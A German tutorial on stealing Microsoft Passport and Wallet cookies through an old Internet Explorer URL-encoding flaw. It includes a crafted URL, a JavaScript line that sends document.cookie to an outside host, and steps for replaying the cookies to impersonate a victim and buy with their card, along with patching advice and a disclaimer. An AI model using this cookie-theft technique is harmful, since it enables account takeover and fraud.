
Microsoft Passport 

Auf vielen Websites muss man sich registrieren, um bestimmte Dienste in Anspruch zu nehmen.
Die Registration beinhaltet in fast allen Fällen das Ausfüllen eines Formulars.
Um dem genervten Surfer diese Unannehmlichkeit zu erleichtern, hat Microsoft das Passport System entwickelt,
welches dem Surfer die Möglichkeit bietet, sich einmal zu registrieren und sich dann mit diesem Passport auf allen weiteren Sites,
die das System unterstützen, ohne weitere Anmeldung angebotene Dienste nutzen zu können. 

Auch bietet das System einen weiteren Bequemlichkeitsvorteil genannt Wallet.
Diese Option des Passport-Systems bietet die Möglichkeit Kreditkarteninformationen,
Kontoinformationen oder ähnliches zu speichern. So kann man in Onlineshops einkaufen,
ohne sich vorher wieder die Mühe machen zu müssen, die Kreditkartennummern abzutippen. 

Dies alles hat den Vorteil, dass man sich die Zeit zum registrieren sparen kann,
und sich außerdem nicht mehr Unmengen von Passwörtern und Benutzernamen merken muss.
Wie alles, hat auch diese Bequemlichkeit ihren Preis: unzureichende Sicherheit.
Das Passport System besteht im Grunde aus einer Cookie-Kollektion, die lokal auf dem Rechner des Benutzers abgelegt sind (wo auch sonst...).
Anhand dieser Cookies wird der Benutzer von Passport-Seiten identifiziert und die erforderlichen Daten übermittelt.
Nicht alle dieser Cookies sind verschlüsselt (im Grunde genommen, sind die meisten Cookies unverschlüsselt), aber dazu später mehr.

Die Internet Explorer Versionen vor V5.5 haben bekannterweise alle eine Schwachstelle in der Handhabung von Cookies.
Ein client-seitig ausgeführtes Script kann unter der Ausnutzung dieses Fehlers auf gespeicherte Cookies zugreifen,
die eigentlich nicht dafür gedacht sind, mit jedem Server geteilt zu werden. 

Nutzt eine Website zum Beispiel manipulierte URLs, kann sie dem Browser vorgaukeln,
Mitglied einer Passport Domain zu sein, und so Cookies auslesen, die nicht für sie bestimmt sind. 

Ein Beispiel einer solchen URL: 

https://www.fox.de%2fscript.php%3f.login.passport.com/ppsecure/ 

Hier werden über %2f der Slash und über %3f das Fragezeichen verschleiert und sind so für einen der anfälligen Browser nicht zu erkennen.
So sieht es für ihn aus, als gehöre die Seite zur .login.passport.com Domain, mit einer sicheren Verbindung (https) und im ppsecure-Verzeichnis.
Allerdings interpretiert der Browser selbst die Adresse so gesehen nicht wirklich falsch,
denn die Requests des Browsers gehen ja trotzdem zur richtigen Domain. Dies gäbe aber dem Script jetzt Zugang zu fast allen Passport Cookies.

An dieser Stelle sollten wir uns einmal die Cookies und ihre Eigenschaften ansehen: 
	NAME
	DOMAIN
	PFAD
	 SPEICHERORT 

	BrowserTest
	passport.com
	/
	RAM

	MSPVis
	passport.com
	/
	HD

	MSPDom
	passport.com
	/
	HD

	MSPAuth
	passport.com
	/
	HD

	MSPProf
	passport.com
	/
	HD

	MSPProf
	passport.com
	/
	HD

	MSPSec
	passport.com
	/
	HD

	MSPRequ
	login. passport.com
	/
	RAM

	PWSVis
	wallet. passport.com
	/
	RAM

	PWSTok
	wallet. passport.com
	/
	RAM




Nur drei der Cookies sind verschlüsselt: 

MSPSec , PWSVis und PWSTok. PWS sind, wie an der Domain unschwer erkennbar, die Wallet Cookies.
Die Verschlüsselung nutzt nur insofern nicht allzu viel, da Ver- und Entschlüsslung des Cookies ja die Seite übernimmt,
die mit den Cookies arbeitet. Daher ist es absolut nicht nötig, sich über die Entschlüsselung überhaupt Gedanken zu machen. 

Wir wissen also jetzt, wie wir eine URL formulieren müssen, um an die Cookies zu kommen. Wir wissen,
wo die Cookies liegen, bzw. welcher Pfad für welches Cookie verwendet wird, aber der Browser sendet ja nicht einfach so die Cookies zum Server,
wenn er nicht danach gefragt wird. Er weiß ja auch gar nicht welche ;-). 

Jetzt müssen wir uns etwas mit HTTP1.1 auseinandersetzen. Ich werde nicht auf die Grundlagen von HTTP1.1 eingehen, aber RFC2616 wäre doch eine geeignete Lektüre,
um etwas mehr über das Protokoll zu erfahren. 

Grundsätzlich besteht die Kommunikation über HTTP aus einem Request (Anfrage) und einem Response (Antwort). 

Der Browser stellt Requests an die verschiedenen Webserver, die der Surfer besuchen möchte, und diese Server geben Responses, die verwendet werden,
um die Site zu übermitteln. Schauen wir uns doch einen Beispiel-Request und Response einmal an: 

Request: 

GET / HTTP/1.1 
Host: www.fox.de 
User-Agent: Mozilla Blablabla 
Accept: text/html, image/jpg, image/gif, bla/bla 
Connection: keep-alive 


Response: 

HTTP/1.1 200 OK 
Date: Thu, 10 Jan 2002 10:00:00 CET 
Server: Blaserver 1.0 
Connection: Close 
Set-Cookie: fox=blabla; domain=.fox.de; Path=/;expires=Tue, 31-Dec-2002 23:59:59 CET; 
Content-Type: text/html 

Blaserver 1.0 

Der Request wird an http://www.fox.de/ gestellt mit einem Mozilla Blablabla Browser (ich schenke mir hier einen Teil, damit es übersichtlich bleibt; über die HTTP-Requests usw.
kann man sich im oben erwähnten RFC2616 informieren).
Die Header-Daten sind nur beispielhaft gewählt und es gibt noch einige mehr die für HTTP verfügbar sind.
Die Header-Daten dienen eigentlich nur dazu, dem Server mitzuteilen, was der Client gerne hätte. 

Der Response ist hier auch nur angedeutet. Er beinhaltet normalerweise den Webserver und einige andere Informationen.
Wichtig sind die Cookie Informationen und die Tatsache, dass hier ein Connection Close gesendet wird, obwohl im Request ein Connection keep-alive angefordert wurde.
Dies ist auch eine Eigenschaft von HTTP: die Verbindung bleibt so lange offen, bis der Response kommt. Das ist eine grosse Schwierigkeit in der Sessionmanagementsicherheit. 

Kommen wir nun zu dem Cookie, das hier gesetzt wird: es wird ein Cookie mit der Bezeichnung fox und dem Wert blabla gesetzt.
Alle anderen Informationen im Cookie-Header sind nur für den Browser bestimmt, damit dieser entscheiden kann, an welche Domains/Subdomains (hier fox.de) er Cookies auf Anfrage hin sendet,
oder nicht. Unser Cookie wird auf der HD gespeichert und verliert seine Gültigkeit am 31.12.2002 um 23:59:59 CET. 

Jeder Cookie bekommt im Header seine eigene Zeile. 

Werden Cookies auf Anfrage hin zurückgesendet, wird nur der Name und der Wert zurückgesandt. Cookies werden jedoch etwas anders geschickt, als sie gesetzt werden.
Wie oben schon erwähnt, hat jeder Cookie der gesetzt wird eine eigene Zeile. Werden mehrere Cookies jedoch an einen Webserver geschickt,
geschieht dies nach dem Muster name=wert; name2=wert2; ... in einer einzigen Headerzeile. Unser Cookie würde folgendermassen übermittelt: fox=blabla

Kommen wir wieder auf unsere Passport-Cookies zurück: 

Wir müssen den User etwas austricksen, um an die Cookies zu kommen. Ich greife hier einmal auf Javascript zurück, da die Option doch meist aktiviert ist.
Viele Websites funktionieren ja ohne Javascript nicht richtig. Zur Not kann man auch eine Abfrage machen, ob Javascript auf dem Browser aktiviert ist,
und wenn nicht auf eine Seite weiterleiten, die dem Surfer mitteilt, dass die Seite ohne Javascript nicht angezeigt werden kann. 

Als Beispiel: 

< script language="javascript"> 
document.write('< a href="http://www.fox.de/klau_den_keks?+document.cookie+"> Sollten Sie nicht automatisch weitergeleitet werden, klicken Sie bitte hier') 
< /script> 
this.document.cookie="MSPSec=<?echo $mspsec;? > domain=.passport.com; path=/ppsecure; expires= Tue, 31-Dec-2002 23:59:59 CET; secure;"; 

Dies ist ein Beispiel, dass man in Verbindung mit der vorher schon genannten Beispieladresse
https://www.fox.de%2fscript.php%3f.login.passport.com/ppsecure/ nutzen könnte
(um an die Wallet-Kekse zu kommen, müsste man natürlich den Pfad in wallet.passport.com abändern). 

Jetzt, da wir die Cookies auf unserer Seite gefangen haben, müssen wir sie natürlich auch so in unser Cookie-Verzeichnis zurückschreiben,
dass sie nachher von Passport-Systemen richtig (oder falsch, je nach dem, wie man es sieht) erkannt und angenommen werden.
Zu diesem Zweck müssen wir die gleiche Schwachstelle im Browser ausnutzen und könnten so über Javascript die Cookies auf unserem Rechner ablegen lassen: 

< script language=" javascript" > 

< /script> 


Man kann sich so durch Austauschen der Cookie-Namen alle Cookies holen, die man braucht.
So kann man sich dann unter Passport-falscher Identität im Netz bewegen, ohne überhaupt das Passwort desjenigen haben zu müssen, dessen Cookies man hat.
Hat man auch die Wallet-Informationen, kann man sogar schön auf der Kreditkarte des Inhabers einkaufen. 

Es gibt jedoch Voraussetzungen für den Erfolg des Passport-Fakens, selbst wenn man die Cookies schon hat.
Der eigentliche User muss sich aus Passport ausgeloggt haben (z.B.: nicht mehr Online sein),
der Faker muss eine komplett andere IP haben (d.h. alle vier Stellen müssen unterschiedlich sein), der Faker benutzt einen anderen Browser.
Trotz diesen Voraussetzungen ist es schon erschreckend, wie einfach ein Fake des Passportsystems ist. 

HTTP bietet leider keine ausreichenden Schutzmassnahmen, auf deren Basis eine wirklich sichere Identifizierung möglich wäre. 

Als Passport-Benutzer sollte man auf jeden Fall extrem auf Sicherheit bedacht sein, und auf gar keinen Fall sein Passwort von einer Seite speichern lassen.
Man sollte ausserdem keinen Browser mit der bekannten Schwachstelle benutzen, oder wenigstens den von MS bereitgestellten Patch aufspielen (zu finden unter microsoft.com).
Auch sollte man sich in das Passport-System nur so lange einloggen, wie es notwendig ist, und nach getaner Arbeit sofort ausloggen.
Beim Ausloggen wird der Grossteil der Cookies unbrauchbar gemacht und so kann niemand, der die Cookies evt. stiehlt etwas damit anfangen.

Letzten Endes der übliche Spruch: 

Dieser Bericht ist als Information und Aufklärung über einen Sicherheitsmangel gedacht, und soll nicht dazu anregen, die beschriebene Sicherheitslücke auszunutzen.
Ferner werde ich keine Verantwortung für evt. entstandene Schäden oder ähnliches übernehmen. Diese Informationen sollen nur dem Zweck dienen,
das System und seine Fehler zu kennen und erkennen und somit zunehmender Sicherheit dienen. 

Quellen und weitere Informationen: 

http://alive.znep.com/~marcs/passport 
Passport Hacking im 2600 Magazin Vol.18#3 von C. Shiflett 
Um nur einige Wenige zu nennen, denn auch bei einer Suche stösst man auf viele Interessante Artikel 
http://www.google.com/search?q=microsoft+passport+vulnerability 


Dieser Text soll kopiert und weitergegeben werden, jedoch unverändert und unter Angabe des Autors. 
Bei evtl. Fehlern, oder Verbesserungsvorschlägen, bitte e-Mail an axelfox@e-worxs.com, oder http://eboard.e-worxs.com 
Danke.

